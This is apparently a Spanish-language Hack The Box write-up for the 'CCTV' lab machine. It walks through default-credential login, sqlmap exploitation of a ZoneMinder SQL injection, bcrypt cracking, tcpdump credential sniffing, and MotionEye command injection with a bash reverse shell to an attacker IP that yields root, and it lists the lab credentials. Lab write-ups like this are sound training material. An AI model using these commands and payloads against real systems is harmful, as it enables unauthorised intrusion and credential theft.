La máquina CCTV es una máquina fácil de HTB.
Resumen de conceptos trabajados:
| Enumeración de servicios y virtual hosting web. Explotación de SQL Injection en ZoneMinder (CVE-2024-51482). Extracción y crackeo de credenciales bcrypt mediante SQLMap y John the Ripper. Captura de tráfico interno con tcpdump para obtener credenciales entre contenedores Docker. Escalada de privilegios mediante bypass de validación JavaScript y explotación de RCE en MotionEye (CVE-2025-60787). |
Resumen: Comenzamos enumerando los servicios expuestos, identificando un servidor web que utilizaba virtual hosting y alojaba una instancia de ZoneMinder. Tras acceder al panel con las credenciales por defecto, detectamos una versión vulnerable a una inyección SQL (CVE-2024-51482), que explotamos con SQLMap para extraer los hashes de los usuarios. Después de crackear las credenciales con John the Ripper, reutilizamos la contraseña obtenida para acceder por SSH como el usuario mark.
Una vez dentro del sistema, realizamos una enumeración interna que nos permitió descubrir tráfico entre contenedores Docker. Aprovechando las capacidades de tcpdump, capturamos las credenciales del usuario sa_mark, con las que obtuvimos la user flag. Finalmente, identificamos una instancia interna de MotionEye accesible únicamente desde localhost, donde aprovechamos una vulnerabilidad de ejecución remota de código (CVE-2025-60787). Tras eludir la validación del lado del cliente mediante JavaScript e inyectar un payload en la configuración de la aplicación, conseguimos una shell como root y conseguimos a root flag.
Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.
A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn».
Estructura del contenido
ENUMERACIÓN DE PUERTOS
Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.
Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:
¿Está la máquina víctima activa y nos podemos comunicar con ella?
Aquí lo que haremos es ejecutar el siguiente comando y ver si el «host is up»:

El TTL es de 64 (63 en HTB por el nodo intermediario) por lo que estamos antes una máquina Linux.
Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.45 -oG Escaneo

En este caso por TCP nos saca el puerto 22 ssh y el puerto 80 web.
Vamos a continuar con la fase de investigación estática mediante nmap corriendo unos scripts básicos de reconocimiento para analizar las versiones y servicios que corren para esos puertos. De esta manera podremos tener algo más de información que podamos explotar.
nmap -sCV -p22,80 10.129.5.45

El puerto 22 ssh para esa versión 9.6p1 reciente no parece existir ninguna vulnerabilidad conocida, y dudo que por ahí sea el vector de entrada.
Por lo que me pasaré a investigar la parte web, donde el escaneo nos muestra que el puerto web 80 respondió con una redirección pero que nmap no la siguió de forma automática. Es decir, se está aplicando virtual hosting. Por lo que tendremos que modificar el archivo /etc/hosts para poder ver su contenido.
ENUMERACIÓN Y ANÁLISIS DE LA APLICACIÓN WEB
Hecho esto, nos ponemos a analizar la web de forma estática y visual.

Información relevante que extraigo del análisis estático de la web:
- Un correo de contacto bajo el usuario «info@cctv.htb»
- Un acceso a un panel de login para el staff http://cctv.htb/zm

No consigo recopilar más información de la web, por lo que mi siguiente paso es analizar potenciales directorios, subdominios y archivos ocultos mediante fuzzing web.
Primero pruebo ejecutando Gobuster al dominio http://cctv.htb pero no encuentro nada relevante, ni siquiera me encuentra el directorio de staff que comentaba anterior (ya que el nombre de la carpeta es «zm»). Por lo que paso a hacer fuzzing con WFuzz sobre el directorio /zm del staff, para ver si se encuentra algo más de valor:
└─# wfuzz -c --hc 404,400,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://cctv.htb/zm/FUZZ
Revisando el fuzzing sobre ese directorio /zm/ la herramienta me detecta el directorio /api/ que si lo consultamos, vemos que el servidor me devuelve la página:


Y aquí se nos reporta la aplicación CakePHP en su versión 2.10.24 . Si vamos a Google y buscamos que es esta tecnología, nos dice que es un framework de código abierto para PHP.

En este punto lo que hago es buscar en Google por información sobre si existe algún exploit público y nos reporta la base de datos de ExploitDB y en searchsploit una vulnerabilidad de XML Eternal Entity injection.

Dejo esto por ahora en stand by, y reviso de nuevo la aplicación que se aloja en /zm/ con el panel de login, y que es ZoneMinder.
Buscando en Google por credenciales por defecto de esta app, me aparece el usuario y contraseña «admin/admin» por lo que las pruebo…

Y efectivamente nos logeamos como admin, donde accedemos a un panel en su versión v1.37.63.

Analizando en Google por esa versión de ZoneMinder que se muestra en el panel, veo una noticia que referencia a que esa versión tiene un CVE-2024-51482 público y en Google el Github POC para explotarlo es este.
ZoneMinder es una aplicación de software gratuita y de código abierto para sistemas de circuito cerrado de televisión. La versión ZoneMinder v1.37.* <= 1.37.64 es vulnerable a una inyección SQL basada en valores booleanos en la función web/ajax/event.php. Este problema se ha solucionado en la versión 1.37.65.


Al continuar días más tarde con la resolución de la máquina, HTB me asignó una nueva IP para la máquina CCTV => 10.129.8.227
Recordar por ello el cambiar la IP en el /etc/hosts asignándolo al dominio que descubrimos cctv.htb
EXPLOTACIÓN DE ZONEMINDER MEDIANTE SQL INJECTION
En este punto de la intrusión ya tenemos todos los elementos necesarios para comprometer el sistema: acceso autenticado al panel, conocimiento de la versión vulnerable y un exploit funcional que permite ejecutar comandos en el servidor.
git clone https://github.com/BwithE/CVE-2024-51482.git

Si analizamos lo que hace ese script en python, nos dice que extrae la base de datos de nombres, tablas, columnas y dumpea la data a través de SQLi blind.

Basándonos en las instrucciones que se mencionan en el readme del repositorio, pasamos a ejecutar de forma manual el exploit:
python3 poc.py -i 10.129.8.227

Opción que no me funciona y genera errores a la hora de intentar extraer la bd de los usuarios, etc, por lo que pruebo con sqlmap directamente.
Para ello, primero vamos a conocer cuál es mi cookie de sesión por la cuál estoy logado como admin en el panel de ZoneMinder por el que entramos con las credenciales por defecto.
Para ello usaré Burpsuite, y así veo la session ID:

A continuación, ejecuto sqlmap con este comando:
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=gt0j08s43qhvbmu10snm6j9gqq" \
--dbs --batch
Después de la ejecución completa nos reporta los nombres de las bases de datos disponibles:

vamos a continuar con la de «zm»
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=gt0j08s43qhvbmu10snm6j9gqq" \
-D zm --tables --batch
Después de terminar el escaneo (tarda muuuucho tiempo porque cada carácter tarda como unos 5-8 segundos en validar) nos devuelve este listado de tablas para la database: «zm»:

Por tanto, ahora lo que hacemos es ejecutar el siguiente comando para dumpear los usuarios. Asegúrate de que la cookie de sesión asociada al panel de administración por el que accedimos, es la misma o no, ya que de lo contrario nos devolverá error…
puedes ver cuál es o bien capturando la petición con Burpsuite, o mediante el inspector de Chrome en la parte de Storage de la sesión – Cookies…

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=cf9nji50v372hs12ts6kg9aq0t" \
-D zm -T Users --dump --batch
Sabiendo que a medida que va escaneando los resultados me va diciendo el nombre de las tablas de Users, y las que más nos interesa dumpear que son Username y Password , lo que hago es parar el anterior escaneo y ejecutar directamente el siguiente con los valores finales (de nuevo, ten cuidado con la cookie de sesión, seguramente haya cambiado, por lo que cámbiala porque sino te devolverá error).
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=p28lu06i3g8vjqdq0030n3co46" \
-D zm -T Users -C Username,Password --dump --batch
Una vez terminado nos devuelve los usuarios y contraseñas:

Nota: los usuarios se podrían ver antes desde el panel de administración por el que accedimos con admin como credenciales por defecto, y que son: mark, superadmin y admin.

CRACKEO DE CREDENCIALES Y ACCESO INICIAL POR SSH
Como vemos arriba, las contraseñas están hasheadas por lo que tenemos que crackearlas.

¿Qué tipo de hashes son? Los hashes empiezan por: $2y$10$ . Eso los identifica como: bcrypt. Sus características con:
- Algoritmo de hash seguro
- Salt incluido
- Diseñado para ser muy lento de crackear
Formato:
$2y$ -> bcrypt
$10$ -> cost factor (10 rounds)
¿Qué significa para el cracking? bcrypt no se crackea fácilmente online a través de sitios como: Crackstation, md5decrypt o hashes.com. De hecho casi nunca tienen bcrypt en su base de datos. Por eso lo normal es que no encuentre nada.
Por tanto usaremos la herramienta «john the ripper», pero primero crearemos un archivo txt con las 3 credenciales hasheadas (ej. hashes.txt).
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
y ya nos devuelve las contraseñas: opensesame y admin (esta es la del usuario admin por defecto que ya usamos).
Por lo que sabiendo los usuarios y contraseñas, probamos a acceder al puerto 22 ssh con el usuario «mark» y la contraseña «opensesame«, y estamos dentro:

ENUMERACIÓN INTERNA Y OBTENCIÓN DE LA USER FLAG
Vemos que somos el usuario mark pero no encuentro el user flag, pero sí vemos otro nuevo usuario llamado «sa_mark» pero al no tener su contraseña no podemos cambiarnos:


pero nuestro usuario mark no pertenece al usuario sa_mark por lo que no podemos acceder sin contraseña….

Si ahora ejecutamos «ip a» para ver las interfaces de red disponibles, vemos que se cargan algunos como: eth0, lo, vethXXXX, br-XXXX, etc.
Ejecutando el comando siguiente, podemos ver el tráfico entre servicios internos del CCTV y en uno de ellos nos reporta la contraseña del usuario sa_mark: «X1l9fx1ZjS7RZb«.
tcpdump -i any -nn -A tcp port 5000

si pivotamos al usuario sa_mark con la contraseña anterior, podemos ver la user flag.

ENUMERACIÓN LOCAL PARA LA ESCALADA DE PRIVILEGIOS
Ahora toca escalar privilegios a root, por lo que vamos a investigar como usuario sa_mark si existe algo de información relevante.
Buscamos servicios locales y vemos el panel MotionEye por el puerto 8765, que sólo escucha en localhost, por eso no lo vimos el escaneo inicial con Nmap.

Como el servicio está en 127.0.0.1, necesitamos reenviar ese puerto a nuestra máquina atacante Kali, por lo que tenemos que crear un túnel ssh. Para ello desde otra nueva terminal ejecutamos lo siguiente:
ssh -L 8765:127.0.0.1:8765 mark@10.129.244.156
*contraseña: «opensesame», y nos abre la termina como el usuario mark
La IP de la máquina víctima cambió porque entré días más tarde de nuevo a resolverla, ya que me quedaba la root flag. La nueva IP era: 10.129.244.156
EXPLOTACIÓN DE MOTIONEYE PARA OBTENER ROOT
Con la sesión de mark abierta, y la de su_mark también, lo que hacemos es ir al navegador y entrar mediante la url del localhost y el puerto detectado (http://127.0.0.1:8765) en el panel de MotionEye con las credenciales admin:X1l9fx1ZjS7RZb

Estas credenciales funcionan porque el PDF que vimos a la hora de extraer la user flag, decía que las credenciales se reutilizan entre sistemas.
SecureVision Staff Announcement
All staff members should continue using their existing credentials
when accessing the new surveillance system.
Entonces ahora una vez dentro, nos vamos a inspeccionar las configuraciones de la CAM.
Primero lo que haremos será con la herramienta de desarrolladores de Firefox o pulsando F12, vamos a escribir esta línea de javascript y le damos a enter:
configUiValid = function() { return true; };

Esto modifica temporalmente la función de validación para que siempre considere válida la configuración, aunque el campo contenga caracteres especiales como $, ( o ).
No cerramos ni recargamos la página porque sino perdemos esa modificación temporal y habría que volver a ejecutarla.
Ahora nos vamos a hacer algunas modificaciones en la sección de MotionEye en la parte de Still IMages, donde sustituimos el contenido que viene por defecto por este:
$(touch /tmp/test.txt).%Y-%m-%d-%H-%M-%S
y también ajustamos el Capture mode a «Interval Snapshots» y el Snapshot interval a «1» seconds, y le damos a Apply arriba.

Vamos a comprobar si realmente ese comando se ejecutó como root…
Volvemos a la terminal donde estábamos como el usuario sa_mark y ejecutamos:
ls -l /tmp/test.txt

y vemos que el propietario es root, por lo que queda confirmado que el comando inyectado se ejecuta con permisos de root.
Ahora nos ponemos en escucha con netcat en otra nueva terminal por el puerto 9001:
nc -lvnp 9001
y nos vamos de nuevo a la configuración de Still Images, y en el campo de Image File Name, incluimos ahora este comando usando nuestra IP atacante y le damos a Apply sin tocar el resto de campos.
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/10.10.14.209/9001 0>&1\"')").%Y-%m-%d-%H-%M-%S
Al ejecutarlo, automáticamente en nuestro listener recibiremos consola como el usuario root, y ya sólo nos queda navegar hasta la flag.


CREDENCIALES OBTENIDAS DURANTE LA INTRUSIÓN
| Usuario | Contraseña | Cómo se obtuvo |
|---|---|---|
| admin | admin | Credenciales por defecto |
| mark | opensesame | Crackeo bcrypt |
| sa_mark | X1l9fx1ZjS7RZb | tcpdump |
| admin (MotionEye) | X1l9fx1ZjS7RZb | Password reuse |
